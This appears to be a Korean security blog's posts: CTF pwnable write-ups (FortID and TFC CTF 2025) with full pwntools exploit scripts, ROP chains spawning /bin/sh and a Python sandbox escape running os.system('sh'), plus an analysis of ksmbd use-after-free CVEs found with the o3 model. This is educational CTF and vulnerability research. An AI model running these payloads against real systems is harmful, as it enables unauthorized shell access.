Aiden

FortID CTF 2025 Pwnable Writeup

Sun, 21 Sep 2025 04:40:00 GMT

Intro

ㅎㅇ 포너블 라이트업 입ㄴ다ㅣ.

Protect the Environment

chall.c와 libc 정보등이 주어집니다. 제공되는 파일에 따르면 서버에서 사용되는 libc는 2.27이겠군요.

Static Analysis

문제 코드를 보면 다음과 같습니다.

// gcc -o chall chall.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void rot13(char *s) {
  while (*s != 0) {
    *s += 13;
    s++;
  }
}

int main(void) {
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);

  char command[64];
  char name[64];

  while (1) {
    printf("> ");
    scanf("%63s %63s", command, name);
    if (!strcmp(command, "protect")) {
      char *val = getenv(name);
      if (val) {
        rot13(val);
        printf("Protected %s\n", name);
      } else {
        printf("No such environment variable\n");
      }
    } else if (!strcmp(command, "print")) {
      if (!strcmp(name, "FLAG")) {
        printf("Access denied\n");
      } else {
        char *val = getenv(name);
        if (val) {
          printf("%s=%s\n", name, val);
        } else {
          printf("No such environment variable\n");
        }
      }
    } else {
      printf("Unknown command\n");
      break ;
    }
  } 
  return 0;
}

print와 protect 커맨드가 제공되고 있으며, 이에 대한 타겟은 바이너리가 실행될 때 갖게되는 환경 변수가 됩니다.

protect 커맨드를 환경 변수에 적용시키면 환경 변수에 입력된 값에 대해서 ROT13 연산을 진행하게됩니다.

또한 print 커맨드에서 볼 수 있듯, FLAG 환경 변수가 설정되어있는 듯 하고, 이를 읽는 문제라고 볼 수 있겠습니다.

그대로 print 연산의 인자로 지정할 경우 필터링에 걸리기 때문에 FLAG를 평문으로 보는 방법은 없습니다. 딱히 공격할 구간이 있지도 않았습니다.

해당 문제에서는 환경변수에 가공을 가할 경우 발생하는 논리적 문제를 이용해서 플래그를 얻어낼 수 있습니다. 현재 플래그의 생김새를 대충 생각해보면 환경 변수는 다음과 같이 스택에 설정 되어있을겁니다.

FLAG=?????????

이때 = 이후의 구간에 ROT13 연산을 진행했을 때 다음과 같이 나오게된다면,

FLAG==????????

환경변수 이름을 FLAG=로 조회하여 필터링을 우회하고 ROT13이 N번 걸려있는 상태의 플래그 값을 볼 수 있습니다. 해당 문제를 풀 당시에는 느낌적으로 "그렇게 하면 되지 않을까?"로 접근했었는데, 운 좋게 맞아떨어졌습니다. glibc-2.27에서의 getenv 코드는 <a href="https://elixir.bootlin.com/glibc/glibc-2.27/source/stdlib/getenv.c">여기</a>에서 확인할 수 있습니다.

Exploit

먼저 다음과 같은 코드로 FLAG==의 형태로 값을 만들기 위해 필요한 N값 + ROT13이 N번 적용된 플래그 값을 추출해냅니다.

from pwn import *
p = remote('0.cloud.chals.io', 33121)
i = 1
while True:
    p.sendlineafter('>', 'protect FLAG')
    p.sendlineafter('>', 'print FLAG=')
    result = p.recvuntil('No such environment variable\n', timeout=3)
    if b"" == result:
        break
    i+=1
print(i)
p.interactive()

다음으로는 이렇게 구한 N과 인코딩된 플래그 값을 가지고 원본 플래그를 복원하면 됩니다.

a = "=fik@;r?+i;VkFVgifK*:KVk_*V*em(iFed*EKVn(k?VC(YZVD(,ki*+k(e^V(kt"
cnt = 19
for i in a:
    print(chr((ord(i)-13*cnt)&0xff), end="")

Déjà vu

C++ 문제입니다.

소스 코드와 문제 파일이 주어집니다.

Analysis (Static, Dynamic)

소스 코드를 보면 다음과 같습니다.

// g++ -o chall chall.cpp --static

#include <functional>
#include <iostream>
#include <string>

using namespace std;

// Decorator factory: returns a function that adds a prefix
auto make_prefix_decorator(const char* prefix) {
    return new function<void(const char*)>([prefix](const char *input) {
        puts(prefix);
        puts(input);
    });
}

int main() {
    cout.setf(ios::unitbuf);
    // Get the name from user
    cout << "Enter your name: ";
    string name;
    getline(cin, name);
    // Create a decorator that prints with "Hello, " prefix
    auto decorator = make_prefix_decorator("Hello, ");
    // Use the decorator
    (*decorator)(name.c_str());
    // Clean up
    delete[] decorator; 
    return 0;
}

데코레이터를 만들고 사용하는 코드입니다. 이때 생성된 데코레이터를 해제하는 과정에서 문제가 발생합니다. 단일 객체임에도 불구하고 배열 형태의 해제 문법을 사용하고 있습니다. IDA로 열어보면 이로인해 해제되는 타겟을 객체 배열로 인식하여 각각의 소멸자를 호출하려함을 알 수 있습니다.

최종적으로 _Function_base에 대한 소멸자가 다음과 같이 호출됩니다.

또한 호출 시점에 레지스터들이 다음과 같이 설정되어있다는 사실을 알 수 있습니다.

이를 활용해서 공격을 수행해봅시다.

Exploit

보호 기법은 다음과 같이 무난합니다. PIE가 적용되어있지 않아서 따로 릭 과정은 거치지 않아도 되겠네요. static 바이너리니 라이브러리도 필요없습니다.

소멸자에 해당하는 구간에 사용자 입력을 넣을 수 있으며, 전달되는 첫 번째 인자 역시 임의로 조작하는 것이 가능합니다.

주어진 힙 영역에 다음과 페이로드를 다음과 같이 삽입해줍시다.

공격 흐름은 다음과 같습니다.

현재 RCX가 담고 있는 힙 주소로 RSP 피봇, 이후 ROP 체이닝 가능
read로 /bin/sh를 적당한 위치에 삽입
execve("/bin/sh", NULL, NULL);

최종 공격 코드는 다음과 같습니다.

from pwn import *

p = remote('0.cloud.chals.io', 26620)

POP_RAX = p64(0x4006df)
POP_RDI = p64(0x400b16)
POP_RDX = p64(0x423032)
POP_RBX = p64(0x482082)

POP_RSI = p64(0x4036de)
SH = p64(0x57fd0c)
SH_BUFF = p64(0x7bd000)
SYSCALL = p64(0x514a87)

payload = b'A'*(512)
payload += p64(0x401841)
payload += p64(0x0) # dummy
payload += p64(0x49a26e)

# read
payload += POP_RAX
payload += p64(0x0)
payload += POP_RDI
payload += p64(0x0)
payload += POP_RSI
payload += SH_BUFF
payload += POP_RDX
payload += p64(0x100)
payload += SYSCALL

payload += POP_RAX
payload += p64(0x3b)
payload += POP_RDI
payload += SH_BUFF
payload += POP_RSI
payload += p64(0x0)
payload += POP_RDX
payload += p64(0x0)
payload += SYSCALL

p.sendlineafter(':',payload)
p.send('/bin/sh\x00')

p.interactive()

Michael Scofield

pyjail 문제입니다.(이게 왜 포너블?) 다음과 같은 코드가 주어집니다.

def check_pattern(user_input):
    """
    This function will check if numbers or strings are in user_input.
    """
    return '"' in user_input or '\'' in user_input or any(str(n) in user_input for n in range(10))


while True:
    user_input = input(">> ")

    if len(user_input) == 0:
        continue

    if len(user_input) > 500:
        print("Too long!")
        continue

    if not __import__("re").fullmatch(r'([^()]|\(\))*', user_input):
        print("No function calls with arguments!")
        continue

    if check_pattern(user_input):
        print("Numbers and strings are forbbiden")
        continue

    forbidden_keywords = ['eval', 'exec', 'import', 'open']
    forbbiden = False
    for word in forbidden_keywords:
        if word in user_input:
            forbbiden = True

    if forbbiden:
        print("Forbbiden keyword")
        continue

    try:
        output = eval(user_input, {"__builtins__": None}, {})
        print(output)
    except:
        print("Error")

Exploit

다음과 같은 순서로 탈옥이 가능합니다.

().__class__.__base__.__subclasses__()[[True+True+True+True+True+True+True+True+True+True+True+True].pop()**[True+True].pop()+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True]()()

pdb → sandbox

[ y for y in [ x for x in ().__class__.__base__.__subclasses__()[[True+True].pop()**[True+True+True+True+True+True+True].pop()+True+True+True+True+True+True+True+True+True+True+True+True+True].__init__.__globals__.values()] [[True+True].pop()**[True+True+True].pop()].modules.values()][True-True-True-True].set_trace()

이후 pdb 쉘에서 필터링 없이 자유롭게 공격 가능

"".__class__.__base__.__subclasses__()[141].__init__.__globals__["__builtins__"]["__import__"]("os").system("sh")

숫자를 쓰지 못하니 True+True=2와 같이 나온다는 점에 착안하여 제곱수 + 나머지의 형식으로 값을 산출한뒤 인덱스에 맞는 값으로 나머지 + 연산을 진행했습니다.

이후 노가다를 통해 인덱스를 죄다 구한 다음에 pdb로 접속해서 쉘 커맨드를 실행하면 탈옥이 가능합니다.

FortID{Wh3n_7h3_517u4710n_l00k5_1mp0551bl3,_y0u_d0n7_g1v3_up}

끝!

TFC CTF 2025 Pwnable Writeup (MUCUSKY)

Fri, 19 Sep 2025 16:30:00 GMT

TFC CTF 2025

이번 글은 얼마전 열린 CTF에 대한 포너블 라이트업이 되겠네요. 밀린 Writeup이 많긴한데 TFC CTF를 시작으로 밀린 것들을 모두 올려볼 예정입니당.

Intro

MUCUSKY는 C-SKY 아키텍처에서 공격을 수행하는 문제였습니다. 생소한 아키텍처긴 했지만, 바이너리 자체는 공부해보면 금방 풀 수 있었습니다.

C-SKY

C-SKY는 중국에서 개발한 CPU 아키텍처 중 하나입니다. 정보가 그~렇게 많지는 않은데, 일단 <a href="https://github.com/c-sky">github repo</a>가 존재하기 때문에 필요한 것들은 갖춘 편이었습니다. 바이너리를 익스플로잇하는데에 당장에 필요했던 건 해당 아키텍처에 대한 명령셋 이해정도?면 충분했습니다.

Analysis (Static, Dynamic)

파일은 대충 요런 파일들이 제공됩니다. <p align="center"><img src="/assets/img/TFC-CTF-2025/files.png"></p>

바이너리 정보를 확인해보면 32bit C-SKY 아키텍처고 static 빌드 상태 및 심볼이 빠져있다는 것을 알 수 있습니다. <p align="center"><img src="/assets/img/TFC-CTF-2025/bin_info.png"></p>

한번 실행시켜보면 문자열을 입력받고 뭔가 오염시킬 수 있을 듯한 뉘앙스를 풍기면서 터져버립니다. <p align="center"><img src="/assets/img/TFC-CTF-2025/bang.png"></p>

이제 디컴파일을 위해 ghidra를 사용해줍니다. 아키텍처가 워낙 특이하다보니 ghidra의 extension을 활용해줍시다. <p align="center"><img src="/assets/img/TFC-CTF-2025/ghidra_csky.png"></p>

까보면 입력 부분에서 오버플로우가 발생한다는 것을 알 수 있습니다. <p align="center"><img src="/assets/img/TFC-CTF-2025/ghidra_analysis1.png"></p>

gdb로 확인해보면 리턴 값이 담길 r15와 r8 역시 오염된다는 사실을 알 수 있습니다. <p align="center"><img src="/assets/img/TFC-CTF-2025/csky-gdb1.png"></p>

Exploit

이제 위에서의 간단한 오버플로우로 리턴 주소 및 레지스터 정보가 오염된다는 사실을 이용하면 됩니다. 이때, static 바이너리기 때문에 적절한 가젯을 바이너리 내부에서 찾아야하는데, 마침 c-sky에서 시스템 콜에 해당하는 trap 명령이 프로그램의 입력과 출력을 위해 존재합니다.

0x818e에서 rts 명령어로 점프하는 시점에서 r8과 r15 조작이 가능합니다. 이를 이용해서 시스템 콜을 수행하려면 다음과 같은 구간을 활용하면 됩니다.

현재 페이로드가 담긴 스택 주소를 알고있다면, 해당 부분에서 역참조되는 r8의 주소를 조작해서 스택에 존재하는 값을 원하는 레지스터로 밀어넣을 수 있습니다. 결과적으로 원하는 인자를 레지스터로 설정해서 시스템 콜을 수행할 수 있게됩니다.

스택에 페이로드를 다음과 같이 구성해줍니다. <p align="center"><img src="/assets/img/TFC-CTF-2025/payload.png"></p>

0x8250의 trap으로 /bin/sh가 실행됩니다. 최종 공격 코드는 다음과 같습니다.

from pwn import *

# ncat --ssl mucusuki-c9b67a4d63fe2205.challs.tfcctf.com 1337
p = remote('mucusuki-c9b67a4d63fe2205.challs.tfcctf.com', 1337, ssl=True)

STACK = 0x3ffffecc + 0x10

payload = p32(0x0)
payload += p32(STACK+8)
payload += p32(STACK)
payload += p32(221+21) # 221
payload += b'/bin/sh\x00'
payload += p32(STACK)
payload += b'\x00'*72
payload += p32(STACK) # STACK
payload += p32(0x822e) # RET

import time
time.sleep(5)
p.send(payload)

p.interactive()

TFCCTF{t0_beat_mcsky_y0u_had_to_csky_now_go_after_cromozominus}

끝!

CVE-2025-37778/CVE-2025-37899

Wed, 17 Sep 2025 17:30:00 GMT

Intro

TOOR 팀 활동을 하며 분석하기보단 알게된 리눅스 커널 SMB 서버 구현체에서 발생하는 취약점입니다! 커널에서 SMB 서버를 구현한다는 것도 처음 알았네요 허허

최근에는 대부분의 시간을 AI 공부에 쏟는 거 같네요!

<div align="center"><figure"><img src="/assets/img/CVE-2025-37899/now.png" /><figcaption>쳇바퀴같이 반복되는 요즘 삶에 AI까지 끼워넣어버린 내 상태</figcaption></figure></div>

AI 열풍이 불어도 관련 공부가 손에 잘 안잡혔었는데, 이번 기회에 AI.. 특히 에이전트 개발에 대해서 깊게 공부해보기로 했씁니다.

CVE-2025-37899은 <a href="https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=02d16046cd11a5c037b28c12ffb818c56dd3ef43">2025년 4월경 커밋</a>이 올라오고 <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-37899">2025년 5월 20일에 취약점 정보가 공개된</a> 리눅스 커널의 UAF 취약점입니다. 현재 글 작성 시점 비교적 최근에 발견된 취약점이라 그런지, 이에 대한 정보는 아직 상세히 나와있지 않습니다.

이번에 알아볼 취약점은 OpenAI의 AI 모델 중 하나인 o3를 통해 발견되었다고 합니다.

본 글은 선행 연구를 진행하신 다른 연구원분들의 글들을 읽고 제 나름 분석을 진행하며 취약점을 공부하며 이해하고 정리해본 결과로 작성하게된 글입니다. 나름의 분석을 해봤지만 맞지 않는 부분이 있을 수 있으며, 만약 이를 발견하셨을 시 피드백해주시면 적극 반영하도록 하겠습니다. 취약점 및 PoC 분석에 많은 도움이된 자료들은 다음과 같습니다.

<a href="https://sean.heelan.io/2025/05/22/how-i-used-o3-to-find-cve-2025-37899-a-remote-zeroday-vulnerability-in-the-linux-kernels-smb-implementation/">https://sean.heelan.io/2025/05/22/how-i-used-o3-to-find-cve-2025-37899-a-remote-zeroday-vulnerability-in-the-linux-kernels-smb-implementation/</a>
<a href="https://wiki.samba.org/index.php/Linux_Kernel_Server">https://wiki.samba.org/index.php/Linux_Kernel_Server</a>

Vuln

CVE-ID : <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-37899">CVE-2025-37899</a>

Background

먼저 이번의 취약점이 발생한 구간을 이해하기 위한 기초 지식에 대한 내용을 조금 공부해보도록 합시다.

SMB3 Kernel Server

지금부터 알아볼 리눅스 커널 속 SMB3 서버에 대한 아키텍처 구조입니다.

ksmbd

리눅스 커널은 놀랍고도 신기하게도 SMB3 서버 구현체를 커널 내부적으로 가지고 있습니다. 즉, 커널에서 SMB3 서버 기능을 커널 모듈 형태로 제공하게됩니다.

주된 목적은 최적화로써 소형 장치에서도 사용하기 쉽게 만들려는 노력으로 보입니다. 유명한 서버 프로그램 중 하나인 Samba를 대체하기 위한 것이 아닌 리눅스에서의 최적화를 목적으로 한다고 합니다.

이때 지금 언급하는 ksmbd는 서버 역할을 하는 리눅스 커널 모듈이며, 성능과 관련된 파일 작업등을 처리해주는 역할을 합니다.

ksmbd.mountd

유저 영역에 존재하는 데몬으로 netlink를 통해 ksmbd와 연결되어 요청을 수행하게됩니다. 다음과 같은 역할 역시 수행합니다.

사용자 계정 및 비밀번호 관리 및 커널 데몬으로 전달
커널 데몬으로 공유 정보 파라미터 전달
RPC 호출 처리

CVE-2025-37778

CVE-2025-37899를 찾아낸 제보자는 당시 새로 출시된 o3의 능력을 벤치마킹 해보기 위해 본인이 직접 찾아낸 CVE-2025-37778를 활용하게 됩니다. 이에 대해서 알아보도록 합시다.

CVE-2025-37778은 UAF 버그로 이 취약점을 통해 알아볼 점은 어떠한 문제가 커널 삼바 서버 코드내에 존재하는지와 어떤 식으로 이를 트리거 시켜야하는지에 대해서 정도입니다.

RCA

In the Linux kernel, the following vulnerability has been resolved: ksmbd: Fix dangling pointer in krb_authenticate krb_authenticate frees sess->user and does not set the pointer to NULL. It calls ksmbd_krb5_authenticate to reinitialise sess->user but that function may return without doing so. If that happens then smb2_sess_setup, which calls krb_authenticate, will be accessing free'd memory when it later uses sess->user.

Description에 따르면 krb_authenticate에서 해제된 포인터를 가지고 있는 멤버 sess->user에 대해서 적절하게 NULL 설정이 이루어지지 않는다고 하고 있습니다. 그리고 sess->user를 재설정할 책임이 있는 ksmbd_krb5_authenticate 역시 sess->user에 대한 재설정 처리를 하지 않게 됨으로써 UAF가 발생한다고 합니다.

sess->state가 SMB2_SESSION_VALID 값을 가지는 경우는 다음과 같은 <a href="https://elixir.bootlin.com/linux/v6.14/source/fs/smb/server/smb2pdu.c#L1665">smb2_sess_setup</a>에서 일어납니다.

int smb2_sess_setup(struct ksmbd_work *work)
{
	...
			if (!ksmbd_conn_need_reconnect(conn)) {
				ksmbd_conn_set_good(conn);
				sess->state = SMB2_SESSION_VALID;
			}
...
				if (!ksmbd_conn_need_reconnect(conn)) {
					ksmbd_conn_set_good(conn);
					sess->state = SMB2_SESSION_VALID;
				}
				...
}

앞서 언급했듯, 취약점은 krb5_authenticate에서 발생합니다. sess->state가 SMB2_SESSION_VALID값을 가지게 될 경우 ksbmd_free_user를 통해 sess->user를 해제합니다.

그리고 후속조치로 호출되는 ksmbd_krb5_authenticate에서 세션 초기화가 정상적으로 진행된다고 보고있습니다.

#ifdef CONFIG_SMB_SERVER_KERBEROS5
static int krb5_authenticate(struct ksmbd_work *work,
			     struct smb2_sess_setup_req *req,
			     struct smb2_sess_setup_rsp *rsp)
{
	struct ksmbd_conn *conn = work->conn;
	struct ksmbd_session *sess = work->sess;
	char *in_blob, *out_blob;
	struct channel *chann = NULL;
	u64 prev_sess_id;
	int in_len, out_len;
	int retval;
    
    ...
	if (sess->state == SMB2_SESSION_VALID)
		ksmbd_free_user(sess->user);

	retval = ksmbd_krb5_authenticate(sess, in_blob, in_len,
					 out_blob, &out_len);
	if (retval) {
		ksmbd_debug(SMB, "krb5 authentication failed\n");
		return -EINVAL;
	}

    ...
	return 0;
}

ksmbd_krb5_authenticate를 통해 sess->user가 유효한 값으로 초기화 되거나 또는 에러 값 반환으로 인해 sess->user가 다른 구간에서 사용되지 않아야 하지만, 초기화가 되지 않은 상태에서 다른 구간에서 사용하는 경우가 발생합니다. 즉, 해제는 했음에도 sess->user가 다른 곳에서 참조되는 상황이 발생합니다. (Use-After-Free)

<a href="">ksmbd_krb5_authenticate</a>를 한번 들여다볼까요?

#ifdef CONFIG_SMB_SERVER_KERBEROS5
int ksmbd_krb5_authenticate(struct ksmbd_session *sess, char *in_blob,
			    int in_len, char *out_blob, int *out_len)
{
	struct ksmbd_spnego_authen_response *resp;
	struct ksmbd_login_response_ext *resp_ext = NULL;
	struct ksmbd_user *user = NULL;
	int retval;

	resp = ksmbd_ipc_spnego_authen_request(in_blob, in_len);
	if (!resp) {
		ksmbd_debug(AUTH, "SPNEGO_AUTHEN_REQUEST failure\n");
		return -EINVAL;
	}

	if (!(resp->login_response.status & KSMBD_USER_FLAG_OK)) {
		ksmbd_debug(AUTH, "krb5 authentication failure\n");
		retval = -EPERM;
		goto out;
	}

	if (*out_len <= resp->spnego_blob_len) {
		ksmbd_debug(AUTH, "buf len %d, but blob len %d\n",
			    *out_len, resp->spnego_blob_len);
		retval = -EINVAL;
		goto out;
	}

	if (resp->session_key_len > sizeof(sess->sess_key)) {
		ksmbd_debug(AUTH, "session key is too long\n");
		retval = -EINVAL;
		goto out;
	}

	if (resp->login_response.status & KSMBD_USER_FLAG_EXTENSION)
		resp_ext = ksmbd_ipc_login_request_ext(resp->login_response.account);

	user = ksmbd_alloc_user(&resp->login_response, resp_ext);
	if (!user) {
		ksmbd_debug(AUTH, "login failure\n");
		retval = -ENOMEM;
		goto out;
	}
	sess->user = user;

	memcpy(sess->sess_key, resp->payload, resp->session_key_len);
	memcpy(out_blob, resp->payload + resp->session_key_len,
	       resp->spnego_blob_len);
	*out_len = resp->spnego_blob_len;
	retval = 0;
out:
	kvfree(resp);
	return retval;
}

코드에서 볼 수 있듯, sess->user는 많은 조건문을 거치고나서 값 설정이 진행이됩니다. 중간 조건문을 트리거 시킬 수 있다면, ksmbd_krb5_authenticate에서 값을 재설정하는 것을 막을 수 있겠죠. 이로인해 sess->user는 해제된 영역을 여전히 가리키고 있게됩니다. 그리고 최종적으로 krb5_authenticate가 오류로 인해 -EINVAL 값을 반환했을 때, 이전에 free 처리된 sess->user는 재사용되지 않아야하지만, 특정 영역에서 재사용됨을 언급하고있습니다.

뒤에 서술된 벤치마킹의 <a href="https://github.com/SeanHeelan/o3_finds_cve-2025-37899/blob/master/o3_finds_CVE-2025-37778.txt">o3의 보고서</a>에서 이에 대한 활용 방안이 자세히 제시되어있습니다.

What CVE-2025-37778 Teaches Us and How to Use It in Benchmarking

위에서 알아본 취약점을 벤치마킹에 활용하기 위해서 따져봐야할 것들에 대해서 생각해봅시다.

위 취약점에서 볼 수 있듯, 다음과 같은 여부를 따져봐야겠죠?

앞서 알아본 ksmbd_free_user의 트리거
sess->user를 다시 덮어쓸 수 없게 하는 경로의 트리거
위 두 과정을 통해 아직 초기화되지 않은 sess->user에 접근할 코드 구간의 존재 여부

제보자는 o3의 벤치마킹을 위해 위 취약점을 사용했다했습니다. 제보자는 다음과 같은 정리를 합니다.

위 취약점을 이해하기 위해서는 연결 처리, 세션 설정과 관련된 코드만 알면됨
취약점 트리거까지 호출되는 함수를 ksmbd에서 최소한으로 읽는다 했을 때의 분량은 약 3,300줄

이와 같은 환경에서 LLM에 어떻게 명확한 코드를 제시하고, 성능에 대해서 고민하게됩니다.

LLM에는 성능의 문제로 인해 모든 코드를 넘겨주는 것은 비효율적임
자동화된 LLM 취약점 탐지 시스템에서 어떤 함수를 분석할지 분명히할 수 없다면, 의미가 없음

이에 대해서는 다음과 같은 결론을 내리게됩니다.

SMB에 대한 명령 핸들러를 개별적으로 확장시킴. 즉, 세션 설정에 대한 명령 핸들러가 존재한다면, 해당 핸들러에서 호출하는 모든 코드를 포함시킴
위 과정에서 함수의 호출 깊이는 3으로 제한, 이는 CVE-2025-37778를 이해하기 위해 읽어야할 함수 호출 최대 깊이

세션 설정에 대한 핸들러외에도 다음과 같은 함수까지 포함시켜 LLM의 정확성을 높였다고 합니다.

네트워크에서 데이터를 읽어오는 함수
들어오는 요청을 파싱하는 함수
실행할 명령 핸들러를 선택하는 함수
실행이 끝난 뒤 연결을 종료하는 함수

결과적으로 벤치마킹에 사용될 3,300줄(약 27,000 토큰)을 가진 프롬프트(session_setup_context)가 완성됩니다. 이는 코드에 해당하는 프롬프트며 다음과 같은 프롬프트 파일들이 추가적으로 사용됩니다.

system_prompt_uafs.prompt : False positive에 대한 방지 유도, 리눅스 커널 코드에서 UAF 취약점을 유발하는 부분 탐지 요청
ksmbd_explainer.prompt : ksmbd 아키텍처에 대한 설명
session_setup_context_explainer.prompt : 주어진 ksmbd 코드 컨텍스트(session_setup_context.prompt)에 대한 설명(오디팅할 SMB 명령어들을 찾을 수 있는 위치, 함수의 깊이등)
audit_request.prompt : 오디팅 요청

Benchmark results

위 과정에서 CVE-2025-37778를 찾을 수 있는가에 대한 결과는 다음과 같이 나왔다고합니다. (100번의 실행동안의 결과)

모델	성공 횟수
OpenAI o3	8
Claude Sonnet 3.7	3
Claude Sonnet 3.5	x

session setup 핸들러에 대한 밴치마킹 이후, 제보자는 모든 명령 핸들러에 대한 취약점을 찾고자합니다. 그리고 결과적으로 CVE-2025-37899를 발견할 수 있었습니다. 이에 대해서 알아봅시다.

CVE-2025-37899

필자는 smb2_session_setup 핸들러외에 존재하는 모든 핸들러에서 취약점 탐지 테스팅을 진행합니다. 다음과 같이 smb2_session_setup외에 다양한 명령어 핸들러들이 존재합니다.

<a href="https://elixir.bootlin.com/linux/v6.14/source/fs/smb/server/smb2ops.c#L171">https://elixir.bootlin.com/linux/v6.14/source/fs/smb/server/smb2ops.c#L171</a>

static struct smb_version_cmds smb2_0_server_cmds[NUMBER_OF_SMB2_COMMANDS] = {
	[SMB2_NEGOTIATE_HE]	=	{ .proc = smb2_negotiate_request, },
	[SMB2_SESSION_SETUP_HE] =	{ .proc = smb2_sess_setup, },
	[SMB2_TREE_CONNECT_HE]  =	{ .proc = smb2_tree_connect,},
	[SMB2_TREE_DISCONNECT_HE]  =	{ .proc = smb2_tree_disconnect,},
	[SMB2_LOGOFF_HE]	=	{ .proc = smb2_session_logoff,},
	[SMB2_CREATE_HE]	=	{ .proc = smb2_open},
	[SMB2_QUERY_INFO_HE]	=	{ .proc = smb2_query_info},
	[SMB2_QUERY_DIRECTORY_HE] =	{ .proc = smb2_query_dir},
	[SMB2_CLOSE_HE]		=	{ .proc = smb2_close},
	[SMB2_ECHO_HE]		=	{ .proc = smb2_echo},
	[SMB2_SET_INFO_HE]      =       { .proc = smb2_set_info},
	[SMB2_READ_HE]		=	{ .proc = smb2_read},
	[SMB2_WRITE_HE]		=	{ .proc = smb2_write},
	[SMB2_FLUSH_HE]		=	{ .proc = smb2_flush},
	[SMB2_CANCEL_HE]	=	{ .proc = smb2_cancel},
	[SMB2_LOCK_HE]		=	{ .proc = smb2_lock},
	[SMB2_IOCTL_HE]		=	{ .proc = smb2_ioctl},
	[SMB2_OPLOCK_BREAK_HE]	=	{ .proc = smb2_oplock_break},
	[SMB2_CHANGE_NOTIFY_HE]	=	{ .proc = smb2_notify},
};

결과적으로 이 핸들러 + 알파에 대한 100k 토큰을 갖는 요청을 만들고 o3에서 100번의 실행 중 단 한번에서 CVE-2025-37899를 발견해냅니다.

새로운 이 취약점은 SMB2_LOGOFF_HE 커맨드를 처리하는 smb2_session_logoff 함수에서 발생하게됩니다.

RCA

CVE-2025-37899는 동기화 장치가 없음에 따른 레이스 컨디션으로 발생하는 Use-After-Free입니다.

<a href="https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/tree/fs/smb/server/smb2pdu.c?id=e86e9134e1d1c90a960dd57f59ce574d27b9a124#n2252">https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/tree/fs/smb/server/smb2pdu.c?id=e86e9134e1d1c90a960dd57f59ce574d27b9a124#n2252</a>

/**
 * smb2_session_logoff() - handler for session log off request
 * @work:	smb work containing request buffer
 *
 * Return:      0
 */
int smb2_session_logoff(struct ksmbd_work *work)
{
	if (sess->user) {
		ksmbd_free_user(sess->user);
		sess->user = NULL;
	}
	...
}

해당 취약점은 하나의 세션에 두 개의 스레드가 동작할 때, 하나의 스레드 A에서 sess->user에 대한 역참조를 진행하기 전, smb2_session_logoff를 사용하는 스레드 B에 의해서 sess->user가 ksmbd_free_user(sess->user);에 의해 해제될 경우 이를 동기화 하는 장치가 없기 때문에 결과적으로 해제된 메모리를 역참조하는 경우입니다.(UAF)

위 코드에 등장하는 sess->user = NULL;은 의미가 없습니다. 레이스 컨디션 원리상 ksmbd_free_user(sess->user);가 호출된 시점에 해당 메모리에 접근을 할 수 있다면 충분히 악용할 수 있기 때문입니다.

Patch

<a href="https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=2fc9feff45d92a92cd5f96487655d5be23fb7e2b">패치</a>에서는 smb2_session_logoff 에서 sess->user를 해제하고 NULL을 설정하는 코드 자체를 삭제합니다.

diff --git a/fs/smb/server/smb2pdu.c b/fs/smb/server/smb2pdu.c
index acc05657cfc72a..46aa082457424b 100644
--- a/fs/smb/server/smb2pdu.c
+++ b/fs/smb/server/smb2pdu.c
@@ -2249,10 +2249,6 @@ int smb2_session_logoff(struct ksmbd_work *work)
 	sess->state = SMB2_SESSION_EXPIRED;
 	up_write(&conn->session_lock);
 
-	if (sess->user) {
-		ksmbd_free_user(sess->user);
-		sess->user = NULL;
-	}
 	ksmbd_all_conn_set_status(sess_id, KSMBD_SESS_NEED_SETUP);
 
 	rsp->StructureSize = cpu_to_le16(4);

Conclusion

이번 글에서 알아본 취약점을 발굴하는 과정은 현재의 LLM의 수준이 인간 오디터에 훨씬 가까워졌음을 시사합니다. (라고 원 글에서도 언급합니다.)

또한, 이렇게 발전한 AI 관련 기술들은 적절하게 활용된다면 취약점 연구에서 성과 향상에 중요한 재료가 될거라고 제보자는 언급하고 있습니다. 실제로 이런 글을 접해보니 모델 발전이 꾸준히 잘 이루어지고 있는 듯 하고, 활용 가치도 커 보입니다. 안쓰면 오히려 손해인 느낌?

앞으로의 할일은 목전에 둔 AI 에이전트 개발에 매진하는 일이겠네요. 팀 프로젝트인 만큼 기대가 큽니다. 재밌겠네요 🙂.

<div align="center"><img src="/assets/img/CVE-2025-37899/kami.png" /><figcaption>LLM으로 신세계의 신이된다.</figcaption></div>

AI로 우주정복을 하고 돌아오도록 하겠습니다. 그럼 20000.

Mitigation

해당 취약점에 대한 커널 업그레이드를 진행하세용 ^~^

References

<a href="https://sean.heelan.io/2025/05/22/how-i-used-o3-to-find-cve-2025-37899-a-remote-zeroday-vulnerability-in-the-linux-kernels-smb-implementation/">https://sean.heelan.io/2025/05/22/how-i-used-o3-to-find-cve-2025-37899-a-remote-zeroday-vulnerability-in-the-linux-kernels-smb-implementation/</a>
<a href="https://wiki.samba.org/index.php/Linux_Kernel_Server">https://wiki.samba.org/index.php/Linux_Kernel_Server</a>

CVE-2022-0185

Sun, 17 Aug 2025 09:15:00 GMT

Intro

TOOR 팀 활동을 하며 분석하게 된 리눅스의 파일 시스템을 다루는 시스템 콜과 관련된 취약점입니다.

CVE-2022-0185는 <a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=722d94847de2">2022년 1월 18일 커밋</a>이 올라오고 <a href="https://nvd.nist.gov/vuln/detail/cve-2022-0185">2022년 2월 11일에 취약점 정보가 공개된</a> 리눅스 커널 UAF 취약점 입니다.

<a href="https://www.willsroot.io/2022/01/cve-2022-0185.html">https://www.willsroot.io/2022/01/cve-2022-0185.html</a>

Vuln

CVE-ID : <a href="https://nvd.nist.gov/vuln/detail/cve-2022-0185">CVE-2022-0185</a>
CWE : <a href="http://cwe.mitre.org/data/definitions/191.html">CWE-191</a>, <a href="http://cwe.mitre.org/data/definitions/190.html">CWE-190</a>

Background

이번에 알아볼 친구는 <a href="https://github.com/google/syzkaller">syzkaller</a>가 발견해냈씁니다. <p align="center"><img src="/assets/img/CVE-2022-0185/boom.png"/></p> 장하다!

취약점을 이해하기 위한 간략한 백그라운드 지식을 배워봅시다.

File system context structure (fs_context)

